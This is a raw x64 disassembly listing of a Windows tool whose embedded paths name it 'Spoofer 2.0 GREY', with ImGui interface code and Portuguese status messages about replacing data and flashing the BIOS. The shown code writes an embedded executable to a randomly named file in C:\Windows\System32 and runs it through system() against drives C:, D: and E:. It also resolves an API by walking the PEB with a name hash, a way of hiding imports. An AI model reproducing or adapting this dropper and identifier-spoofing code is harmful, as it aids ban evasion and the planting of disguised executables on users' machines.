lea rcx, [rbp]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 4], xmm1
movss xmm1, dword [0x140316164]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp], xmm0
movss xmm0, dword [0x140316160]
movss dword [rbp + 0xc], xmm1
movss dword [rbp + 8], xmm0
call fcn.1400052c0
movss xmm8, dword [0x1400fb9a8]
lea r14, str.Substituicao_de_dados_foi_concluida_com_sucesso.
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0xc8]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm8
mov qword [rsp + 0x30], r13
mov esi, eax
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0xc8]
movss xmm7, dword [0x1400fb89c]
movss xmm2, dword [0x140314c64]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0xcc]
cvttss2si eax, xmm0
movss xmm0, dword [0x140314c60]
subss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0xc8], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x18c], xmm2
subss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x188], xmm0
test esi, 0xff000000
je 0x1400567ef
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x1400567a5
mov r8d, 0x678
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1400fa9a8]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x188]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002bd40
mov r8, qword [0x1403159b0]
lea rcx, [rbp - 0x40]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14031615c]
movss xmm0, dword [0x140316158]
mov rax, qword [r8 + 0x4038]
movss dword [rbp - 0x3c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x1400fb860]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp - 0x40], xmm0
movss xmm0, dword [0x140316160]
mulss xmm1, dword [0x140316164]
movss dword [rbp - 0x38], xmm0
movss dword [rbp - 0x34], xmm1
call fcn.1400052c0
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x28]
mov rcx, qword [r8 + 0x3d58]
mov esi, eax
lea rax, str.Reincie_seu_PC__e_flashe_sua_Bios_
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movaps xmm3, xmm8
movss dword [rsp + 0x20], xmm11
call fcn.14002bb20
movss xmm0, dword [rbp + 0x28]
movss xmm2, dword [0x140314c64]
addss xmm0, xmm7
subss xmm2, dword [rbp + 0x2c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140314c60]
addss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm12
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x28], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x194], xmm2
addss xmm0, xmm13
mulss xmm0, xmm12
addss xmm0, xmm9
movss dword [rbp + 0x190], xmm0
test esi, 0xff000000
je 0x14005698c
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005693b
mov r8d, 0x678
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r13b
lea rax, [0x1400fa9d1]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0x190]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Reincie_seu_PC__e_flashe_sua_Bios
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.14002bd40
movss xmm0, dword [0x1403160c4]
comiss xmm0, dword [0x1400fb968]
movss xmm9, dword [0x1400fb8d4]
movss xmm10, dword [0x1400fb89c]
movss xmm8, dword [0x1400fb980]
jbe 0x1400545b8
mov dword [0x1403160c4], r13d
jmp 0x1400545b8
mov rbx, qword [0x1403159b0]
test rbx, rbx
je 0x1400569e2
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x140056a06
jmp 0x1400569e5
mov rdi, r13
mov r8d, pe_nt_image_headers64
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403159b0]
test rbx, rbx
jne 0x140056a2c
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403159b0]
call fcn.140038480
mov rcx, qword [rdi]
test rcx, rcx
je 0x140056a3f
mov rax, qword [rcx]
call qword [rax + 0x10]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x1403159b0]
mov qword [rbx + 0x88], r13
mov qword [rbx + 0x98], r13
test r8, r8
je 0x140056abd
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140056ab2
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x1403159b0]
test r8, r8
je 0x140056ae0
mov rbx, qword [r8 + 0x90]
test rbx, rbx
jne 0x140056b04
jmp 0x140056ae3
mov rbx, r13
mov r8d, 0xca
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x1403159b0]
test r8, r8
jne 0x140056b2a
mov r8d, 0x10d9
lea rdx, str.C:UsersTalissonDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x1403159b0]
mov rcx, qword [rbx + 0x38]
lea rdi, [r8 + 8]
test rcx, rcx
je 0x140056b44
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x1403159b0]
and dword [rdi + 4], 0xfffffff8
mov qword [rdi + 0x78], r13
mov qword [rdi + 0x88], r13
test r8, r8
je 0x140056bb8
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x140056bad
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1403159b0]
mov qword [0x1403159b0], rbx
call fcn.140007870
mov qword [0x1403159b0], r13
test rbx, rbx
je 0x140056c5e
mov rcx, rbx
call fcn.140021640
mov r8, qword [0x1403159b0]
test r8, r8
je 0x140056c55
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x140056c4a
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], r13d
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140316060]
test rcx, rcx
je 0x140056c77
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140316060], r13
mov rcx, qword [0x140316048]
test rcx, rcx
je 0x140056c90
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140316048], r13
mov rcx, qword [0x1403159c8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140057cf5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 0x30
mov qword [rbp - 0x58], r13
call fcn.1400c899c
movups xmm0, xmmword [str.C:WindowsSystem32_vdfjdisfudasu.exe]
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x48], 0x2f
mov r9, rax
mov qword [rbp - 0x50], 0x25
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400f80c0]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400f80d0]
mov dword [rax + 0x20], ecx
lea rcx, [rbp + 0x340]
movzx eax, byte [0x1400f80d4]
mov byte [r9 + 0x24], al
mov byte [r9 + 0x25], r13b
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
call fcn.140058e20
mov r8d, 0x390a8
lea rdx, [0x1401a3120]
lea rcx, [rbp + 0x340]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0x348]
call fcn.14005a820
test rax, rax
jne 0x140056d97
mov rax, qword [rbp + 0x340]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x340]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x340], rax
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x33c], edx
lea rcx, [rbp + 0x348]
call fcn.140059ab0
lea rcx, [rbp + 0x350]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140056e2d
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056e28
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056e28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140056eb5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140056eb5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140056eb0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140056e90
cmp edx, 0x2fa62ca8
je 0x140056eba
test r9d, r9d
jne 0x140056e70
mov rax, qword [rax]
jmp 0x140056e40
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xa0]
call fcn.14003fd50
lea rcx, [rbp]
mov r15, rax
call fcn.14003fd50
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x140056f96
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x140056f21
mov rsi, qword [rax]
lea rax, [0x1400f8102]
mov ebx, 0x2a
cmp rax, rsi
jbe 0x140056f54
lea rax, [rsi + r8]
cmp r14, rax
ja 0x140056f54
cmp rsi, r14
ja 0x140056f45
mov r14, r13
jmp 0x140056f57
mov r14, rsi
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
sub r14, rax
jmp 0x140056f57
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov r8, rbx
add rdx, rbx
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140056fb2
mov ebx, 0x2a
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov qword [rsp + 0x20], r14
call fcn.14005d770
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400f5cfc]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.14005ac00
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.14005d310
cmp qword [rbp - 0x28], 0xf
lea rcx, [rbp - 0x40]
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14005706f
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005706a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057184
call fcn.1400c8c18
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r13b
cmp rdx, 0xf
jbe 0x1400570ba
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400570b5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057184
call fcn.1400c8c18
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400570f5
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400570f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057184
call fcn.1400c8c18
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x14005713c
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057137
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057184
call fcn.1400c8c18
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x140057190
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005718b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005718b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
lea rcx, [rbp + 0xa0]
call fcn.14003fd50
lea rcx, [rbp]
mov r15, rax
call fcn.14003fd50
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x140057244
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x1400571d7
mov rsi, qword [rax]
lea rax, [0x1400f8132]
cmp rax, rsi
jbe 0x140057205
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp rcx, rax
ja 0x140057205
cmp rsi, rcx
ja 0x1400571fd
mov r14, r13
jmp 0x140057208
mov r14, rsi
sub r14, rcx
jmp 0x140057208
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
lea rdx, [0x1400f8132]
sub r8, r14
lea rcx, [rsi + r14]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140057263
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov qword [rsp + 0x28], rbx
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.14005d770
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400f5cfc]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.14005ac00
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.14005d310
cmp qword [rbp - 0x28], 0xf
lea rcx, [rbp - 0x40]
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140057320
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005731b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057435
call fcn.1400c8c18
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r13b
cmp rdx, 0xf
jbe 0x14005736b
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057366
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057435
call fcn.1400c8c18
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400573a6
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400573a1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057435
call fcn.1400c8c18
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x1400573ed
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400573e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057435
call fcn.1400c8c18
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x140057441
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005743c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005743c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
lea rcx, [rbp + 0xa0]
call fcn.14003fd50
lea rcx, [rbp]
mov r15, rax
call fcn.14003fd50
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x1400574f9
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x140057488
mov rsi, qword [rax]
lea rax, [0x1400f8162]
cmp rax, rsi
jbe 0x1400574b6
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x1400574b6
cmp rsi, rcx
ja 0x1400574ae
mov r14, r13
jmp 0x1400574b9
mov r14, rsi
sub r14, rcx
jmp 0x1400574b9
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
sub rbx, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140057518
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rbx
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.14005d770
mov rdi, rax
mov qword [rbp - 0x50], r13
lea rdx, [0x1400f5cfc]
mov qword [rbp - 0x48], r13
lea rcx, [rbp - 0x60]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r13b
call fcn.14005ac00
mov r9, r15
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
movups xmmword [rbp + 0x40], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x50], xmm1
mov byte [rax], r13b
call fcn.14005d310
cmp qword [rbp - 0x28], 0xf
lea rcx, [rbp - 0x40]
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400575d5
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400575d0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400576ea
call fcn.1400c8c18
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r13b
cmp rdx, 0xf
jbe 0x140057620
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005761b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400576ea
call fcn.1400c8c18
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14005765b
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057656
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400576ea
call fcn.1400c8c18
mov rdx, qword [rbp + 0x18]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
cmp rdx, 0xf
jbe 0x1400576a2
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005769d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400576ea
call fcn.1400c8c18
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r13b
cmp rdx, 0xf
jbe 0x1400576f6
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400576f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400576f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
xorps xmm0, xmm0
mov qword [rbp + 0x2b0], r13
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2d0], xmm0
lea rax, str.Selecione_o_diretorio_de_download
